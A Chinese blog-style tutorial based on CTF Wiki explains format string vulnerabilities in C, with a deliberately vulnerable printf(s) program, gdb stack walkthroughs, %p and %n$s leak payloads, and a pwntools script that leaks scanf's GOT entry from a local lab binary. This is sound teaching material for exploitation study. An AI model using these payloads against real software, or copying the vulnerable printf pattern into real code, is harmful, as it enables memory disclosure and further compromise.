1. 程式人生 > >格式化字串漏洞 format string exploit(一)

格式化字串漏洞 format string exploit(一)

 

 

本文系原創,轉載請說明出處

本文為基於CTF WIKI的PWN學習

0x00 格式化字串原理

   先附一張經典的圖,如下

 

  其棧上佈局如下:

some value 
3.14
123456
addr of "red"
addr of format string : " Color %s, Number %d, Float %4.2f"

   如果程式寫成了:

 

printf("Color %s, Number %d, Float %4.2f");

 

   分別將棧上的三個變數分別解析為:

  1. 解析其地址對應的字串
  2. 解析其內容對應的整形值
  3. 解析其內容對應的浮點值

    我們編寫程式驗證以下:

#include <stdio.h>
int main() {

  printf("Color %s, Number %d, Float %4.2f", “red”, 123456, 3.14);
  printf("Color %s, Number %d, Float %4.2f");
  return 0;
}

 

   輸入以下命令編譯(記得安裝libc6-dev-i386庫):

 gcc -m32 -fno-stack-protector -no-pie -o leakmemory 1.c 

   執行結果

gdb除錯一下:

b printf後輸入r執行

可以看到在第一個printf的執行中,stack的引數正如上文所說,先是格式化字串,再是123456(的16進位制),最後是3.14

繼續除錯至第二個printf(一直按n)

 

 

 stack中我們發現,首先入棧的依舊是格式化字串,但是上面三個引數不再是之前的那幾個了。按照原理,第二次輸出的應該是0xffffcfb4及之後的兩個記憶體對應的內容。下面我們來細緻討論。

 

0x01 漏洞利用

利用格式化字串漏洞,我們還可以獲取我們所想要輸出的內容。一般會有如下幾種操作

  • 洩露棧記憶體
    • 獲取某個變數的值 (%s)
    • 獲取某個變數對應地址的記憶體 (%p)
  • 洩露任意地址記憶體
    • 利用 GOT 表得到 libc 函式地址,進而獲取 libc,進而獲取其它 libc 函式地址 (addr%n$s)
    • 盲打,dump 整個程式,獲取有用資訊。

 一、洩露記憶體

(1)獲取棧變數數值

這裡使用ctf wiki上面的例子:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

 

編譯執行除錯

 

 除錯:

 

 直接轉載(copy)了:可以看出,此時此時已經進入了 printf 函式中,棧中第一個變數為返回地址,第二個變數為格式化字串的地址,第三個變數為 a 的值,第四個變數為 b 的值,第五個變數為 c 的值,第六個變數為我們輸入的格式化字串對應的地址。繼續執行程式,按c

 

 將會把上圖中0xffffcf44及其後面兩個地址包含的內容輸出輸出:

 

 並不是每次得到的結果都一樣 ,棧上的資料會因為每次分配的記憶體頁不同而有所不同,這是因為棧是不對記憶體頁做初始化的。這可以從我上面的幾個截圖結果看出來。

(2)獲取棧指定變數值

可以使用%n$x獲得棧上第n+1個引數,格式化字串是第一個引數,那麼如果想獲得printf的第n個引數,就需要加1.

如,我想獲得第三個引數值f7e946bb,那麼我就輸入%3$x

(3)獲取對應字串:%s

(4)獲取資料:%p

 

二、獲取任意地址記憶體

上面的洩露並不強力,比賽中經常需要洩露某一個 libc 函式的 got 表內容,從而得到其地址,進而獲取 libc 版本以及其他函式的地址,這時候,能夠完全控制洩露某個指定地址的記憶體就顯得很重要了。

這裡我們再看一遍源程式程式碼:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

 

scanf接收入s的值,然後兩個printf。這裡我們輸入%s,如下除錯,打印出0xff007325, 就是%s對應的字串值,所以,輸出函式的棧分佈,棧上的第一個引數就是格式化字串的地址。

這就意味著格式化字串內容可控,同時,還需要注意的是,第一個引數雖然放置的是格式化字串的地址,但是,輸出函式並沒有在這裡開始呼叫,你也可以從上圖中看到,在0xffffcf50處,又有一個%s,這裡才是呼叫格式化字串的時候,輸出格式化字串表達的內容時刻。這就意味著,因為格式化字串我們可以自己控制,那麼,如果我格式化字串裡面包含了%s,它會輸出%s對應地址(0xff007325)所包含的內容,如果包含scanf@got, 它會輸出scanf@got對應地址包含的內容,也就是scanf的真實地址。

總結:1、格式化字串可以按照自己的意願輸入。2、格式化字串的地址為棧上的第一個引數,順序之後的某個位置會呼叫這個格式化字串,以格式化字串的內容輸出內容。

所以,我們只要知道,呼叫這個格式化字串的位置就可以了。

根據CTF WIKI上的說明方案,我們可以使用下面的字元來確定格式化字串在哪呼叫:

[tag]%p%p%p%p%p%p...

如果輸出棧的內容與我們前面的 tag 重複了,那麼我們就可以有很大把握說明該地址就是格式化字串的地址,之所以說是有很大把握,這是因為不排除棧上有一些臨時變數也是該數值(0x41414141)。如:

 

 AAAA  0XFFD2RC30  0XC2  0XF7E596BB  0X41414141   0X702570250

我們除錯看一下:

我輸入的是AAAA加上8個%p

 

 你會看到,AAAA後面依次輸出8個內容,

第一個輸出AAAA,這本來就是字元,作為一個標誌顯示出來罷了。然後往後,%p開始作用,依次是0xffffcfa0(可以看到格式化字串為第一個引數,%p從格式字串下一個開始),0xc2, 0xf7e946bb這些都是跟著格式化字串後面的引數,之後,便打印出來0xffffcfa0地址對應的內容,即字串。也就是說,其相對printf函式,為第5個引數(第五行),但是相對格式化字串(第一行),是第四個引數。那麼既然是第四個引數,我們使用%4$s看看測試一下。

然後你會發現core dump:

 

 為啥?除錯。

 

 首先,%4$s對應的存放地址為0xffffcfa0, 我們檢視記憶體發現存著的是0x73243425, 再看看0x73243425放著什麼,啥都沒有,那肯定崩潰。

我們輸入%4$s是0x73243425, 我們輸入%5$s是0x732434525,................

那就是說,我們確定了引數為第幾個後,在tag處輸入想要獲得的內容的地址,那麼,輸出的將是輸入的地址對應的內容。

然後使用CTF wiki上payload改改就可以實現獲取scanf的地址:

from pwn import *
sh = process('./leakmemory')  
leakmemory = ELF('./leakmemory')  
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']  #獲取got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'  #想要輸出的地址加上確定好的引數位置
print payload
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # 去掉 __isoc99_scanf@got的地址
sh.interactive()